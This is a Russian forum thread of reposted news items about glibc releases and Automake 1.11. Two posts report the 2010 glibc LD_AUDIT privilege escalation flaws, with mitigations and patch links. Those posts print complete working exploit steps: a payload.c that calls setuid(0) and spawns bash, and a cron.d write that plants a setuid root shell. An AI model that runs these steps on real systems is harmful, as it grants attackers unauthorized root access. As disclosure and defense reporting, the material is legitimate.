[size="3"]Обзор новшеств будущей версии системной библиотеки Glibc - 2.10[/size]
Мантейнер системной библиотеки GNU C Library представил набор новшеств в готовящейся к релизу версии glibc 2.10, на базе которой будет построен дистрибутив Fedora 11.
В новой версии glibc ожидается:
* Поддержка стандарта POSIX 2008. Например, добавлены новые макросы, реализована функция psiginfo, добавлена поддержка флагов O_SEARCH и O_EXEC;
* Более жёсткое соответствие требованиям C++, например, в дополнение к "char *strchr(char *, int)" добавлено "const char *strchr(const char *, int)", т.е. конструкция "char *i = strchr(in, 'i')", если in имеет тип "const char *i" приведёт к ошибке;
* Поддержка особенностей будущего стандарта C++ 201x. Например, добавлен обработчик at_quick_exit и функция quick_exit, для экстренного завершения процесса без вызова глобальных деструкторов;
* Улучшение в функциях DNS NSS в плане обработки нескольких параллельных запросов;
* Использование NSS (Network Security Services) в libcrypt;
* Поддержка возможности определения дополнительных модификаторов и спецификаторов формата для функции printf. Для подключения дополнительных обработчиков добавлены функции register_printf_specifier, register_printf_modifier и register_printf_type;
* Улучшение масштабируемости функции malloc при работе на многоядерных CPU;
* Добавлена функция malloc_info для предоставления исчерпывающей информации о текущем состоянии системы распределении памяти (сколько памяти выделено, общий размер адресного пространства и т.п.).
* Автоматическое задействования оптимизированных функций, например, для систем с современным CPU Intel, будет использован вариант функций strlen и strchr, использующий инструкции SSE4.2.
http://www.opennet.r...shtml?num=21329 (http://www.opennet.ru/opennews/art.shtml?num=21329)
[size="3"]Релиз системной библиотеки Glibc 2.10 и генератора файлов сборки Automake 1.11[/size]
Вышел релиз системной библиотеки GNU C Library (glibc) 2.10.1 (первая публичная версия ветки 2.10). Glibc 2.10 войдет в состав Linux дистрибутива Fedora 11, выход которого ожидается 26 мая.
Из новшеств glibc 2.10 можно выделить:
* Поддержка стандарта POSIX 2008. Например, добавлены новые макросы, реализована функция psiginfo, добавлена поддержка флагов O_SEARCH и O_EXEC;
* Более жёсткое соответствие требованиям C++, например, в дополнение к "char *strchr(char *, int)" добавлено "const char *strchr(const char *, int)", т.е. конструкция "char *i = strchr(in, 'i')", если in имеет тип "const char *i" приведёт к ошибке;
* Поддержка особенностей будущего стандарта C++ 201x. Например, добавлен обработчик at_quick_exit и функция quick_exit, для экстренного завершения процесса без вызова глобальных деструкторов;
* Улучшение в функциях DNS NSS в плане обработки нескольких параллельных запросов;
* Использование NSS (Network Security Services) в libcrypt;
* Поддержка возможности определения дополнительных модификаторов и спецификаторов формата для функции printf. Для подключения дополнительных обработчиков добавлены функции register_printf_specifier, register_printf_modifier и register_printf_type;
* Улучшение масштабируемости функции malloc при работе на многоядерных CPU;
* Добавлена функция malloc_info для предоставления исчерпывающей информации о текущем состоянии системы распределении памяти (сколько памяти выделено, общий размер адресного пространства и т.п.).
* Автоматическое задействования оптимизированных функций, например, для систем с современным CPU Intel, будет использован вариант функций strlen и strchr, использующий инструкции SSE4.2.
* Новые функции: preadv, preadv64, pwritev, pwritev64, accept4, fallocate, fallocate64.
Кроме того, вышел релиз генератора make-файлов Automake 1.11, спустя три года после версии 1.10. Следует заметить, что тестовая версия 1.11 была выпущена под лицензией GPLv3, но в последний момент перед релизом лицензия была возвращена на GPLv2+, так как возникла необходимость написания лицензионного исключения.
Основные улучшения Automake 1.11:
* опциональная поддержка менее "говорливого" стиля задания правил компиляции для Linux ядра;
* более быстрые правила для установки и деинсталляции;
* поддержка проведения тестов в параллельном режиме;
* подсветка вывода результатов тестов;
* улучшение поддержки языка Fortran и начальная поддержка языка Vala;
* возможность запуска automake в многопоточном режиме;
* поддержка tar-архивов сжатых методами lzma и xz;
* улучшение реализации макроса AM_MAINTAINER_MODE;
* man-руководства для aclocal и automake.
http://www.opennet.r...shtml?num=21799 (http://www.opennet.ru/opennews/art.shtml?num=21799)
[size="3"]Доступен релиз системной библиотеки Glibc 2.11[/size]
Вышел релиз системной библиотеки GNU C Library (glibc) 2.11. Из новшеств можно отметить:
* Новые функции, определенные в последнем варианте стандарта POSIX: execvpe, pthread_sigqueue, mkstemps, mkstemps64, mkostemps и mkostemps64;
* Добавлены специально оптимизированные для архитектуры x86-64 варианты функций: strstr, strcasestr, memcmp, strcspn, strpbrk, strspn, strcpy, stpcpy, strncpy, strcmp (задействованы инструкции SSE2, SSE4.2), strncmp (SSE2, SSE4.2), strchr (SSE4.2), strrchr (SSE4.2), strlen, rawmemchr, strcmp (SSSE3), strncmp (SSSE3);
* Добавлены специально оптимизированные для архитектуры x86 варианты функций: strlen, strcspn, strspn, strpbrk, strstr, strcasestr;
* Выполнение вызова longjmp теперь возвращается с ошибкой, если при его работе будет обнаружено создание инициализированных областей стека;
* STT_GNU_IFUNC теперь поддерживается в статически скомпонованных исполняемых файлах. Для архитектуры PPC реализована поддержка STT_GNU_IFUNC. Добавлена поддержка STB_GNU_UNIQUE;
* Добавлена поддержка fma инструкций в AVX расширении для архитектуры x86-64. В ld.so с использованием возможностей AVX реализованы средства аудита;
* В код DNS резолвера добавлен режим повторного запроса: если два DNS обращения c одного порта не могут быть выполнены, сокет закрывается и осуществляется еще одна попытка, но с заново созданным сокетом. Включить данный режим можно через указание опции 'single-request-reopen' в /etc/resolv.conf. Кроме того, в резолвере реализована поддержка флага RES_USE_DNSSEC для осуществления запросов с подтверждением;
* Повышена эффективность работы PI-мьютексов, в случае если ядро ОС поддерживает операцию перераспределения элементов очереди к PI-фьютексам. Для архитектуры x86-64 добавлена поддержка NPTL нитей;
* Добавлены новые локали: ps_AF, my_MM.
http://www.opennet.r...shtml?num=24106 (http://www.opennet.ru/opennews/art.shtml?num=24106)
[size="3"]Glibc: Обнаружена серъезная уязвимость [/size]В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена (http://seclists.org/fulldisclosure/2010/Oct/257) критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.
Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware (http://www.slackware.com/security/list.php?l=slackware-security&y=2010), Gentoo (http://www.gentoo.org/security/en/index.xml), Mandriva (http://www.mandriva.com/en/security/advisories?dis=2010.1), openSUSE (http://lists.opensuse.org/opensuse-security-announce/2010-10/), CentOS (http://lists.centos.org/pipermail/centos-announce/2010-October/thread.html), Fedora (https://admin.fedoraproject.org/updates/F13/security), RHEL (http://rhn.redhat.com/errata/rhel-server-errata.html), Debian (http://www.debian.org/security/), Ubuntu (https://lists.ubuntu.com/archives/ubuntu-security-announce/2010-October).
Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:
Создаем произвольную директорию:
$ mkdir /tmp/exploit
Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):
$ ln /bin/ping /tmp/exploit/target
Открываем для исполняемого файла файловый дескриптор:
$ exec 3< /tmp/exploit/target
Данный файловый дескриптор должен быть виден в пространстве /proc
$ ls -l /proc/$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
Удаляем ранее созданную директорию
$ rm -rf /tmp/exploit/
В /proc дескриптор остался, но теперь помечен как удаленный:
$ ls -l /proc/$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :
[color="#461b7e"]
[codebox]# mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp[/codebox]
[/color] Дополнение: Разработчики из компании Red Hat выпустили патч (http://sourceware.org/ml/libc-hacker/2010-10/msg00007.html), устраняющий проблему в Glibc.
# opennet.ru (http://www.opennet.ru/opennews/art.shtml?num=28338)
[size="3"]Для Glibc представлен еще один метод повышения привилегий [/size]Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости (http://linuxforum.kz/topic/4266-glibc/), сообщается (http://seclists.org/fulldisclosure/2010/Oct/344) о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно сообщается (http://www.openwall.com/lists/announce/2010/10/22/1), что проблеме не подвержена glibc из состава OpenWall (http://www.openwall.com/) и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".
По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлен идентификатор смены владельца или группы (suid/sgid). Изначально система динамического связывания блокирует любые попытки использования LD_PRELOAD для загрузки для setuid/setgid-программ пользовательских библиотек, размещенных в нестандартный областях файловой системы (/lib, /usr/lib), но разработчики glibc сделали несколько исключений из правил для функции LD_AUDIT, наличие которых и привело к возможности осуществления атаки.
При активации режима аудита через LD_AUDIT система связывание выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Техника атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения (отмеченная (http://seclists.org/fulldisclosure/2010/Oct/257) в прошлой уязвимости техника), либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid).
Проверить подверженность системы уязвимости можно следующим способом:
[color="#461b7e"]
Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")
$ umask 0
Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so
Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit
Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
Через пару минут наблюдаем:
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
...
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit
$ /tmp/exploit
# whoami
root
[/color] Исправления уже доступны для Debian (http://www.debian.org/security/2010/dsa-2122) и Ubuntu (https://lists.ubuntu.com/archives/ubuntu-security-announce/2010-October/001187.html). Состояние подготовки исправлений для других дистрибутивов можно отследить на следующих страницах: Slackware (http://www.slackware.com/security/list.php?l=slackware-security&y=2010), Gentoo (http://www.gentoo.org/security/en/index.xml), Mandriva (http://www.mandriva.com/en/security/advisories?dis=2010.1), openSUSE (http://lists.opensuse.org/opensuse-security-announce/2010-10/), CentOS (http://lists.centos.org/pipermail/centos-announce/2010-October/thread.html), Fedora (https://admin.fedoraproject.org/updates/F13/security), RHEL (http://rhn.redhat.com/errata/rhel-server-errata.html).
# opennet.ru (http://www.opennet.ru/opennews/art.shtml?num=28390)
[size="3"]Релиз системной библиотеки Glibc 2.14 [/size]Представлен (http://sourceware.org/ml/libc-alpha/2011-05/msg00103.html) релиз системной библиотеки GNU C Library (glibc) 2.14 (http://ftp.gnu.org/gnu/glibc/), в подготовке которого использованы патчи от 28 разработчиков. Glibc является основой большинства Linux-дистрибутивов, за исключением OpenWrt, Debian и Ubuntu, которые перешли на использование системной библиотеки Eglibc (http://www.eglibc.org/). Библиотека Eglibc полностью совместима с Glibc и отличается (http://www.opennet.ru/opennews/art.shtml?num=21615) более низкими системными требованиями, возможностью гибкой настройки компонентов, улучшенной поддержкой кросс-компиляции и кросс-тестирования.
Из добавленных в Glibc 2.14 улучшений (http://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=HEAD) можно отметить:
- Объявлена устаревшей классическая реализация RPC. Разработчикам рекомендуется портировать свои приложения на использование новой реализации TI-RPC, в которой добавлена поддержка IPv6 и реализованы другие полезные возможности. Старые программы останутся работоспособными, но новые приложения уже нельзя будет связать со старой реализацией RPC (при использовании в программе RPC-функций допускается только связывание с библиотекой TI-RPC);
- Добавлена поддержка программных интерфейсов, появившихся в версии (http://linuxforum.kz/index.php?/topic/4277-linux-%d1%8f%d0%b4%d1%80%d0%be/page__view__findpost__p__18281) Linux-ядра 2.6.39 или ожидаемых в будущей версии 3.0:
- name_to_handle_at и open_by_handle_at (http://lwn.net/Articles/375888/) - позволяют приложениям сопоставить имя файла с внутренней структурой file_handle или открыть файл, указав его handle;
- syncfs (http://git.kernel.org/linus/b7ed78f56575074f29ec99d8984f347f6c99c914) - работает как sync() за исключением того, что сброс буферов на постоянный носитель осуществляется только для файловой системы, отождествленной с указанным файловым дескриптором.
- setns (http://kerneltrap.org/mailarchive/linux-kernel/2010/9/23/4623165) - позволяет использовать для файлового дескриптора определенное изолированное пространство имен (namespace)
- sendmmsg (http://www.spinics.net/lists/netdev/msg162828.html) - позволяет организовать передачу в рамках одного системного вызова сразу нескольких сообщений, которые ранее потребовали бы отдельных вызовов sendmsg(). Технология значительно повышает эффективность работы приложений передающих большие объемы данных или оперирующих пакетами небольшого размера;
- clock_adjtime - аналог функции adjtimex, позволяющий регулировать работу POSIX-часов;
- В комплект включена утилита sotruss (http://manpages.unixforum.co.uk/man-pages/unix/solaris-10-11_06/1/sotruss-man-page.html) для выполнения трассировки библиотечных вызовов с использованием PLT (Procedure Linkage Table);
- Возможность установки хука на вызов malloc объявлена устаревшей и будет удалена в следующей версии. Причина прекращения использования данного хука в его неприспособленности к работе в многопоточных программах;
- Новые локали: os_RU (Осетия), mhr_RU (Марий Эл), bem_ZA, en_ZA, ff_SN, sw_KE, sw_TZ, lb_LU, wae_CH, yue_HK, lij_IT;
- Новые кодировки: CP770, CP771, CP772, CP773, CP774;
- Исправлены 94 ошибки.
# opennet.ru (http://www.opennet.ru/opennews/art.shtml?num=30746)